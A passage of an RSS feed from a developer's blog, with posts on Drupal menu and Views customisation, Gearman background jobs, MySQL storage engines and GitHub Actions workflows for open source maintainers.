&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[title] =&gt; Bookmarks&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As suspected, the bookmarks menu entry is simply not configured as a local task for the tabbed menu.
To elegantly customize this you can create such low priority custom module to implement &lt;code&gt;hook_menu_alter(&amp;#x26;$items)&lt;/code&gt; and alter the menu item type, such as:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; $items[&apos;user/%views_arg/bookmarks&apos;][&apos;type&apos;] = MENU_LOCAL_TASK; &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Clear the cache to test and confirm.&lt;/p&gt;</content:encoded></item><item><title>Views MySQL OrderBy – Drupal module</title><link>https://lirantal.com/blog/2012-10-02/</link><guid>https://lirantal.com/blog/2012-10-02/</guid><description>A simple Drupal module that provides a Views MySQL OrderBy plugin</description><pubDate>Tue, 02 Oct 2012 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you’ve ever needed to customize a bit the SQLs in Drupal’s Views module (version 2 for the sake of this argument) you know how much of a pain or ugly-ness is involved. Probably, the first step would be to locate a contributed Views module that would provide the functionality required and then it’s ofcourse required to code review it, make sure it’s properly maintained and not another dead project on Drupal. That’s the “easy way out”.&lt;/p&gt;
&lt;p&gt;What if you can’t find one? then you start hooking into dark places like &lt;code&gt;hook_views_pre_build()&lt;/code&gt;, &lt;code&gt;hook_views_pre_view()&lt;/code&gt; and their sisters, god forbid. Well then, I’ve chosen to go the generic path, that one road that’s less travelled by, and worked out one of those Views contributed modules for your future use.&lt;/p&gt;
&lt;p&gt;The use case is requiring to sort a result set by a string field’s values that you defined, which is not ascending or descending. For example, if you wanted to sort a CCK select dropdown field which describes an entity (or node) type, given these values: animal, human, alien. If you wanted to sort the result set listing in an order where animal is first, human later and alien last then using the default DESC or ASC sort order doesn’t really help.&lt;/p&gt;
&lt;p&gt;MySQL introduces the &lt;code&gt;ORDER BY FIELD(field_name, field_options...)&lt;/code&gt; query signature where it’s possible to specify the field name and (all) of it’s options in exact order that you wish to sort by. If you do not specify all of the field options then you’re in for a surprise because MySQL will sort with the fields you didn’t provide first (it’s possible to mitigate that with specifying the DESC/ASC suffix to the &lt;code&gt;FIELD()&lt;/code&gt; function)&lt;/p&gt;
&lt;p&gt;The module found it’s way to Drupal, named surprisingly: &lt;code&gt;View MySQL Orderby&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Views resources:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Views handler class&lt;/li&gt;
&lt;li&gt;Views add_orderby()&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Gearman – offloading Drupal tasks to a job server</title><link>https://lirantal.com/blog/2012-09-27/</link><guid>https://lirantal.com/blog/2012-09-27/</guid><description>Integrating Gearman with Drupal as a background job server for cloud-native and event-driven performance</description><pubDate>Thu, 27 Sep 2012 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;At work, we’ve recently needed to offload some processing tasks to a background job server. I’ve worked with Gearman prior to my current position at HP as well as prior to my experience with Drupal and I’m happy to see there’s an extension for that available.&lt;/p&gt;
&lt;h2 id=&quot;about-gearman&quot;&gt;About Gearman&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://gearman.org/&quot;&gt;Gearman&lt;/a&gt; is an all-purpose job server that manages work between distributed workers for client which throw jobs at it. It has libraries implemented in many languages, whether it’s C, PHP, Python and others so you can quickly get started by installing it and the library for your language of choice. Due to this nature, it also allows you to offload processing of complex computational jobs for example, to workers written in C or C++ for efficiency or other reasons which is great as it doesn’t lock you in.&lt;/p&gt;
&lt;p&gt;A &lt;a href=&quot;http://gearman.org/&quot;&gt;Gearman&lt;/a&gt; module is available for  &lt;a href=&quot;http://drupal.org/&quot;&gt;Drupal&lt;/a&gt; 6 only (at this time) and is basically a developer’s module as it just provides an API for other modules to hook up and implement their queued job functions. Moreover, it provides a  &lt;a href=&quot;http://enginx.com/blog/gearman-offloading-drupal-tasks-job-server/drupal.org/project/drush&quot;&gt;drush&lt;/a&gt; interface for both the worker and the client, meaning you can simply run &lt;code&gt;drush gearman-worker&lt;/code&gt; from the command line as well as triggering jobs from command line via the &lt;code&gt;drush gearman-client&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To integrate with gearman, it’s required to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Install the gearman server (work this out with your favorite Linux distribution)&lt;/li&gt;
&lt;li&gt;Install the gearman php library which is available through pecl to install&lt;/li&gt;
&lt;li&gt;Install the gearman drupal module (&lt;a href=&quot;http://www.drupal.org/project/gearman&quot;&gt;http://www.drupal.org/project/gearman&lt;/a&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;defining-gearman-job-functions&quot;&gt;Defining Gearman job functions&lt;/h2&gt;
&lt;p&gt;A module needs to implement hook_gearman_drush_function() as follows:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; /**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; * Implementation of hook_gearman_drush_function()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; *&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; * @return an associative array with the data for GearmanWorker::addFunction&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; * so that a drush-based worker can know about them automatically.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; * &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; * This array has the following parameters&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; *&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; * - &apos;function_name&apos;: The name of a function to register with the job server &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; * - &apos;function&apos;: A callback that gets called when a job for the registered &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; * function name is submitted &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; * - &apos;context&apos;: A reference to arbitrary application context data that can be &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; * modified by the worker function &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; * - &apos;timeout&apos;: An interval of time in seconds &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; *&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; * This implementation has a general function for wrapping other drush commands,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; * as well as the classic &quot;reverse text&quot; example.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;*/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;function mymodule_gearman_drush_function() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; return array(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; array(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; &apos;function_name&apos; =&gt; &apos;notifications_send_users&apos;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; &apos;function&apos; =&gt; &apos;mymodule_notifications_send_users&apos;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; ),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Where-as the hook implementation simply returns an array with the function names as they are required to be invoked with gearman and the actual function name for the callback (the docblock is pretty self-explaining on that).&lt;/p&gt;
&lt;p&gt;Invoking a gearman job from Drupal can be easily done via calling&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;gearman_drush_client($function_name, $data)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;with the function name as string (in context with the example above this would be ‘notifications_send_users’) and the data to send off to do this job as a string.&lt;/p&gt;
&lt;p&gt;Hint: go ahead and serialize/jsonify the array/object to make your life easy&lt;/p&gt;
&lt;p&gt;With gearman_drush_client() make sure that the job runs in the background via &lt;code&gt;$gmclient-&gt;doBackground();&lt;/code&gt; as otherwise you didn’t gain much by running it in blocking mode.&lt;/p&gt;
&lt;p&gt;Next up, in the actual gearman job function definition, you can harvest the data payload such as:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;* Implements gearman notifications_send_users callback&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;* @param object $job gearman job object&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;*/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;function mymodule_notifications_send_users($job) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;if (isset($job-&gt;workload()) &amp;#x26;&amp;#x26; is_array($job-&gt;workload())) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$workload = unserialize($job-&gt;workload());&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$workload_size = $job-&gt;workloadSize();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;// ... rest of the code&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you’ve serialized your objects when sending the job to the queue you’ll want to unserialize the value of&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$job-&gt;workload();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;first.&lt;/p&gt;</content:encoded></item><item><title>daloRADIUS new website and offering</title><link>https://lirantal.com/blog/2012-09-22/</link><guid>https://lirantal.com/blog/2012-09-22/</guid><description>Updated invoice management and reporting</description><pubDate>Sat, 22 Sep 2012 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;After a very long time where I’ve managed &lt;code&gt;daloradius.com&lt;/code&gt; as an independent blog I have decided to revert it to a static content website with very little dynamic information, such as hooking it into &lt;code&gt;ohloh&lt;/code&gt; and other RSS feeds. In context of this change I’ve also converted the older &lt;code&gt;enginx.com&lt;/code&gt; static website content into a Drupal 7 based blog where I’ll post my blogs, daloRADIUS-related among them, where it can be easily captured via the &lt;code&gt;daloradius&lt;/code&gt; tags.&lt;/p&gt;</content:encoded></item><item><title>Drupal Performance Tip – &apos;I’m too young to die&apos; – know your DB engines</title><link>https://lirantal.com/blog/2014-12-15/</link><guid>https://lirantal.com/blog/2014-12-15/</guid><description>MyISAM or InnoDB? know how to choose database engines</description><pubDate>Invalid Date</pubDate><content:encoded>&lt;p&gt;In the spirit of the computer video game &lt;a href=&quot;http://doom.wikia.com/wiki/Doom&quot;&gt;Doom&lt;/a&gt; and its &lt;a href=&quot;http://doom.wikia.com/wiki/Skill_level&quot;&gt;skill levels&lt;/a&gt;, we’ll review a few ways you can improve your &lt;a href=&quot;http://drupal.org/&quot;&gt;Drupal&lt;/a&gt; speed performance and optimize for better results and server response time. These tips that we’ll cover may be at times specific to Drupal 6 versions, although you can always learn the best practices from these examples and apply them on your own code base.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20150211095044im_/http://adamatomic.com/pics/blog/doom/doom2.jpg&quot; alt=&quot;Doom&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://drupal.org/&quot;&gt;Drupal&lt;/a&gt; 6 shipped with all tables being  &lt;a href=&quot;http://drupal.stackexchange.com/questions/20893/drupal-database-innodb-or-myisam&quot;&gt;MyISAM&lt;/a&gt;, and then Drupal 7 changed all that and shipped with all of its tables using the  &lt;a href=&quot;http://drupal.stackexchange.com/questions/20893/drupal-database-innodb-or-myisam&quot;&gt;InnoDB&lt;/a&gt; database engine. Each one with its own  &lt;a href=&quot;https://www.drupal.org/node/1553474&quot;&gt;strengths and weaknesses&lt;/a&gt;  but it’s quite clear that &lt;code&gt;InnoDB&lt;/code&gt; will probably perform better for your Drupal site (though it has quite a bit of fine tuning configuration to be tweaked on my.cnf).&lt;/p&gt;
&lt;p&gt;Some modules, whether on Drupal 6, or those on Drupal 7 that simply upgraded but didn’t quite review all of their code, might ship with queries like  &lt;a href=&quot;http://www.percona.com/blog/2006/12/01/count-for-innodb-tables/&quot;&gt;SELECT COUNT() which if you have migrated your tables to InnoDB (or simply using Drupal 7) then this will hinder on database performance&lt;/a&gt;. That’s mainly because &lt;code&gt;InnoDB&lt;/code&gt; and &lt;code&gt;MyISAM&lt;/code&gt; work differently, and where-as this proved as quite a fast responding query being executed on a &lt;code&gt;MyISAM&lt;/code&gt; database which uses the main index to store this information, for &lt;code&gt;InnoDB&lt;/code&gt; the situation is different and will result in doing a full table scan for the count. Obviously, on an &lt;code&gt;InnoDB&lt;/code&gt; configuration running such queries on large tables will result in very poor performance&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2014/11/drupal_perf-5.png&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20150211095044im_/http://enginx.com/wp-content/uploads/2014/11/drupal_perf-5.png&quot; alt=&quot;drupal_perf-5&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Note to ponder upon – what about the Views module which uses similar type of &lt;code&gt;COUNT()&lt;/code&gt; queries to create the pagination for its views?&lt;/p&gt;</content:encoded></item><item><title>The maintainer&apos;s CI workflows recipe for a peaceful open source life</title><link>https://lirantal.com/blog/2021-11-30_the-maintainer-ci-workflow-recipe-for-peaceful-open-source-life/</link><guid>https://lirantal.com/blog/2021-11-30_the-maintainer-ci-workflow-recipe-for-peaceful-open-source-life/</guid><description>My GitHub Actions hackathon application entry is about all the small things that would contribute to a better maintainer life.</description><pubDate>Tue, 30 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;my-workflow&quot;&gt;My Workflow&lt;/h2&gt;
&lt;p&gt;My GitHub Actions hackathon application entry is about all the small things that would contribute to a better maintainer life.&lt;/p&gt;
&lt;p&gt;Maintainers usually get a good grip on the important things, like making sure they have a workflow that run code style checkers, tests, and that publishes a package to the registry.&lt;/p&gt;
&lt;p&gt;Busy with these, they end up forgetting about the small things that are the details, but as important, for example: having a markdown linter in place to ensure no broken documentation.&lt;/p&gt;
&lt;p&gt;Can we reach open source maintainer nirvana?
I can’t promise you that, but I can promise I will do everything I can to put us on that direction.&lt;/p&gt;
&lt;p&gt;With that in mind, I’m suggesting a recipe of several GitHub Actions CI workflows that you can add to your open source repositories at GitHub. I’ve segmented them into specific areas too.&lt;/p&gt;
&lt;h3 id=&quot;markdown-documentation&quot;&gt;Markdown documentation&lt;/h3&gt;
&lt;p&gt;This recipe will introduce the following workflows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Markdown Style linter&lt;/strong&gt; - Making sure your documentation like the &lt;code&gt;README.md&lt;/code&gt; has proper&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Markdown Links linter&lt;/strong&gt; - Making sure your documentation has no broken links&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;dependency-management&quot;&gt;Dependency management&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;New dependencies advisor&lt;/strong&gt; - Add a comment in a Pull Request informing of newly added dependencies and their package health&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;pull-request-engagement&quot;&gt;Pull Request engagement&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Pull Request title update&lt;/strong&gt; - Do you manage multiple base branches with PRs to? If you manually updated your PR titles to include this information then now this is automated for you&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Pull Request contribution fun note&lt;/strong&gt; - Welcome contributors to your project by adding a comment that thanks them and embeds an image of a cute animal&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;submission-category&quot;&gt;Submission Category:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Maintainer Must-Haves&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;repository&quot;&gt;Repository&lt;/h3&gt;
&lt;p&gt;The following repository demonstrates the workflow this application suggests: &lt;a href=&quot;https://github.com/lirantal/github-actions-hackathon-actionshackathon21&quot;&gt;https://github.com/lirantal/github-actions-hackathon-actionshackathon21&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;additional-resources--info&quot;&gt;Additional Resources / Info&lt;/h3&gt;
&lt;p&gt;The recipe makes use of the following GitHub Actions from the marketplace:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/marketplace/actions/my-markdown-linter&quot;&gt;ruzickap/action-my-markdown-linter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/marketplace/actions/new-dependencies-advisor&quot;&gt;lirantal/github-action-new-dependencies-alerts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/marketplace/actions/my-markdown-link-checker&quot;&gt;ruzickap/action-my-markdown-link-checker&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/marketplace/actions/animal-action&quot;&gt;circa10a/animal-action&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/marketplace/actions/pull-request-title-update-to-include-base-branch&quot;&gt;lirantal/github-action-pr-title-update-branch&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;demo&quot;&gt;Demo&lt;/h2&gt;
&lt;p&gt;Let’s put all of it together and see how they add to an overall better experience for both maintainers and contributors alike.&lt;/p&gt;
&lt;h3 id=&quot;pull-request-title-update&quot;&gt;Pull Request title update&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/g8j6tk3d8efhqd5xcxoc.png&quot; alt=&quot;PR title update with base branch&quot;&gt;&lt;/p&gt;
&lt;p&gt;As you can see, a few minutes after creating the pull request, the action kicks in and updates the title so that it includes a base branch prefix (the text &lt;code&gt;[main]&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;To make that magic happen, we create a brand new GitHub Action workflow file and add this:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;PR title update with base branch&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;pull_request&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;jobs&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;pr_title_update&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;runs-on&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;ubuntu-latest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;PR title update with base branch&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;steps&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;PR title update with base branch&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;uses&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;lirantal/github-action-pr-title-update-branch@main&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;env&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;GITHUB_TOKEN&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;${{ secrets.GITHUB_TOKEN }}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;pull-request-contribution-fun-note&quot;&gt;Pull Request contribution fun note&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/a6k92dcbak1ts6g4bn12.png&quot; alt=&quot;Pull Request contribution fun note&quot;&gt;&lt;/p&gt;
&lt;p&gt;Ain’t it cute to get that nice little note? I think so too ;-)&lt;/p&gt;
&lt;p&gt;To make that magic happen, we create a brand new GitHub Action workflow file and add this:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;new-dependency-advisor&quot;&gt;New dependency advisor&lt;/h3&gt;
&lt;p&gt;I can’t stress enough how important is making sure you are using healthy dependencies, and those without security vulnerabilities. How can you tell if a new one someone adds to your project is a liability or a gift?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/zd8nqp52v4ubryjua42w.png&quot; alt=&quot;Image description&quot;&gt;&lt;/p&gt;
&lt;p&gt;Luckily, we have the Snyk Advisor, and this handy GitHub Action helping us vet it:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Deps: show dependencies metadata&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;pull_request&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;jobs&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;deps_check_new_dependencies&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
